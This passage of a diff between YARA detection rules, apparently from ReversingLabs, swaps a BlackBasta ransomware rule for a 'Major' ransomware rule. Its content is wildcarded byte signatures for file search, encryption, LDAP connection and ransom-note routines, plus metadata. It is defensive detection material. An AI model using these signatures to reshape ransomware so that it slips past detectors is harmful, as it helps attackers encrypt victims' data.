+            ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ??
+            80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ??
+            ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ??
+            74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 ?? ?? ??
+            ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C3 8B 4D ??
+            5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3
         }
-		$encrypt_files_p7 = {
-            C7 44 24 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 4D ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 8B 8D ?? ?? ?? ?? 89 4C 24
-            ?? 8B 95 ?? ?? ?? ?? 89 54 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 8D ??
-            ?? ?? ?? 83 EC ?? 3B 4D ?? 74 ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 51 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 95 ?? ??
-            ?? ?? 89 14 24 E8 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 89 0C 24 E8 ?? ?? ?? ?? C6 45 ??
-            ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 52
-            8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24
-            ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 8B 00 89 04 24 C7
-            45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 8D 4D ?? 8B 45 ?? 39 C8 74 ?? 89 04 24 E8 ??
-            ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 89 45 ?? E9
+		$encrypt_files = {
+            53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ??
+            ?? 64 A1 ?? ?? ?? ?? 50 53 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 50 8D 45
+            ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4B ?? 51
+            FF 15 ?? ?? ?? ?? 83 E0 ?? 74 ?? 8B 53 ?? 52 FF 15 ?? ?? ?? ?? 83 E0 ?? 50 8B 43 ??
+            50 FF 15 ?? ?? ?? ?? 8B 4B ?? 51 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 53
+            ?? 52 8D 45 ?? 50 83 EC ?? 8B CC 89 A5 ?? ?? ?? ?? 51 8B 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
+            ?? ?? C6 45 ?? ?? 8D 55 ?? 52 8B 43 ?? 50 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45
+            ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8B 43 ?? 50 8D
+            4D ?? 51 83 EC ?? 8B D4 89 A5 ?? ?? ?? ?? 52 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B 43 ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ??
+            C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ??
+            33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3 5B C2
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($enum_resources_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files) and (($exclude_directories_and_drop_ransom_note) or ($drop_ransom_note_no_dir_exclusion))
 }
-rule REVERSINGLABS_Win32_Ransomware_Blackbasta : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Major : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects BlackBasta ransomware."
+		description = "Yara rule that detects Major ransomware."
 		author = "ReversingLabs"
-		id = "7c451fde-b8b1-5a35-855e-7e30f3e75cbb"
-		date = "2022-12-13"
-		modified = "2022-12-13"
+		id = "0c85aff8-1fb5-5e47-ae49-72445a000eaa"
+		date = "2021-01-26"
+		modified = "2021-01-26"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.BlackBasta.yara#L1-L531"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "c68671e51489af00e9e0cf28373e5ec01bda042653dbcca8843357eede41f27f"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Major.yara#L1-L261"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "16fb7763e3806fca6937fef7e8b3d8bccd61cb39549061d359d630c7d266c270"
 		score = 75
-		quality = 88
+		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
 		status = "RELEASED"
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "BlackBasta"
+		tc_detection_name = "Major"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ??
-            ?? 83 C4 ?? 8B F0 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C6
-            E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85 ?? ?? ?? ?? 89 9D ??
-            ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88
-            9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75
-            ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ??
-            ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ??
-            74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15
-        }
-		$encrypt_files_v1 = {
-            6A ?? E8 ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 89 B5 ?? ??
-            ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 6A ?? 57 56 E8 ?? ?? ?? ?? 8D 4F
-            ?? 6A ?? 51 53 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A
-            ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 FF B5 ?? ?? ?? ?? 57 53 56 83 EC ?? 8B F4 89 A5
-            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D ?? E8 ??
-            ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85
-            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A
-            ?? FF B5 ?? ?? ?? ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ??
-            ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45
-            ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 80 BD ?? ?? ?? ?? ??
-            74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-        }
-		$cmd_prompt = {
-            8B FF 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? FC 53 56 8B 75 ?? 8D 45 ?? 33 DB
-            68 ?? ?? ?? ?? 53 50 89 5D ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 F8 ?? 0F 84 ??
-            ?? ?? ?? 85 F6 75 ?? 53 39 5D ?? 75 ?? E8 ?? ?? ?? ?? 59 33 C0 E9 ?? ?? ?? ?? FF 75
-            ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 85 F6 0F 94 C0 E9 ??
-            ?? ?? ?? 8B 45 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? 89 5D ?? 57 85 C0 74 ?? E8
-            ?? ?? ?? ?? 8B 38 E8 ?? ?? ?? ?? 53 89 18 8D 45 ?? 50 FF 75 ?? 53 E8 ?? ?? ?? ?? 83
-            C4 ?? 8B F0 E8 ?? ?? ?? ?? 83 FE ?? 74 ?? 89 38 EB ?? 83 38 ?? 74 ?? E8 ?? ?? ?? ??
-            83 38 ?? 74 ?? 83 CE ?? FF 75 ?? E8 ?? ?? ?? ?? 59 EB ?? E8 ?? ?? ?? ?? 89 38 53 8D
-            45 ?? B9 ?? ?? ?? ?? 50 51 53 89 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 E8 ?? ?? ?? ??
-            83 C4 ?? 8B C6 5F 8B 4D ?? 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 53
-        }
-		$ldap_connect = {
-            C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ??
-            50 6A ?? 53 8B 35 ?? ?? ?? ?? FF D6 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 53 FF D6
-            6A ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 C4 ??
-            85 C0 74 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ??
-            6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 83 C4 ??
-            8B F0 89 75 ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 6A ?? 56 53 FF 15 ?? ?? ?? ?? 83 C4 ??
-            85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ??
-            ?? ?? ?? FF 75 ?? 57 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 8B
-            06 85 C0 0F 84 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 50 8B 4D
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 36 68 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 83 C4 ?? 8B C8 89 4D ?? 8B 01 8B 40 ?? C6 45 ?? ?? 8B 44 08 ?? 8B 58 ?? 89 5D
-            ?? 8B 03 8B CB FF 50 ?? 83 4D ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 10 6A ??
-            8B C8 FF 52 ?? 0F B7 C0 89 45 ?? 83 65 ?? ?? C6 45 ?? ?? 85 DB 74 ?? 8B 03 8B CB FF
-            50 ?? 8B C8 85 C9 74 ?? 8B 01 6A ?? FF 10 8B 45 ?? 50 8B 4D ?? E8 ?? ?? ?? ?? 8B 4D
-            ?? E8 ?? ?? ?? ?? 8B 5D ?? 56 FF 15
-        }
-		$encrypt_files_v2 = {
-            8D 45 ?? 50 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 6A ?? 57 53 FF 75 ?? 83 EC ?? 8B
-            F4 89 A5 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 8B 45 ?? 89 45 ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75
-            ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 E8
-            ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
-        }
-		$encrypt_files_v3 = {
-            6A ?? E8 ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 89 B5 ?? ??
-            ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 6A ?? 57 56 E8 ?? ?? ?? ?? 8D 4F
-            ?? 6A ?? 51 53 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A
-            ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 6A ?? 57 53 56 83 EC ?? 8B F4 89 A5 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D ?? E8 ?? ?? ?? ?? C6
-            45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ??
-            89 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF B5 ??
-            ?? ?? ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 57 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
-            83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45
-            ?? ?? 8D 8D ?? ?? ?? ?? E8
-        }
-		$encrypt_files_v4 = {
-            8D 45 ?? 50 E8 ?? ?? ?? ?? 0F 10 45 ?? 0F 11 45 ?? 0F 10 45 ?? 0F 11 45 ?? 8B 45 ??
-            8B 4D ?? 89 45 ?? 89 4D ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ??
-            8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 56 57 8D 45 ?? 50 8D 45 ?? 50 83 EC ?? 8B
-            F4 89 A5 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 6A ?? FF B5 ?? ?? ?? ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85
-            ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? EB ?? 8D 85
-            ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ??
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 83 F9 ?? 72 ?? 8D 0C 4D ?? ?? ?? ?? 89 8D ?? ??
-            ?? ?? 8B 95 ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 8B
-            50 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 66 89 85 ?? ?? FF FF C6
-            45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8
-        }
-		$drop_ransom_note_v1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 03 00 00 A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00
-            6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83
-            BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A
-            ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83
-            BD ?? ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ??
-            8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ??
-            50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5
-            5D C3
-        }
-		$exclude_from_encryption_v1 = {
-            83 FE ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D
-            ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8
-            ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B
-            F0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
-            4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ??
-            8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
-            ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 4D ?? E8 ??
-            ?? ?? ?? 83 FE ?? 75 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D
-        }
-		$exclude_from_encryption_v2_p1 = {
-            50 C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ??
-            ?? ?? C6 45 ?? ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6
-            45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 74 ?? C6 45 ?? ?? 8D 4D ?? E8 ??
-            ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            C6 45 ?? ?? 6A ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 FE ?? 74 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D ??
-            E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 74 ?? C6
-        }
-		$exclude_from_encryption_v2_p2 = {
-            45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 45 ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 74 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ??
-            ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 51 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? B9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 84 C0 0F 44 CA 8D 45 ?? 50 E8 ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 80 BD ?? ?? ??
-            ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8
-        }
-		$encrypt_files_v5_p1 = {
-            50 F2 0F 11 45 ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 8D 45 ?? 50 56 FF 15 ?? ??
-            ?? ?? 85 C0 75 ?? 56 FF 15 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
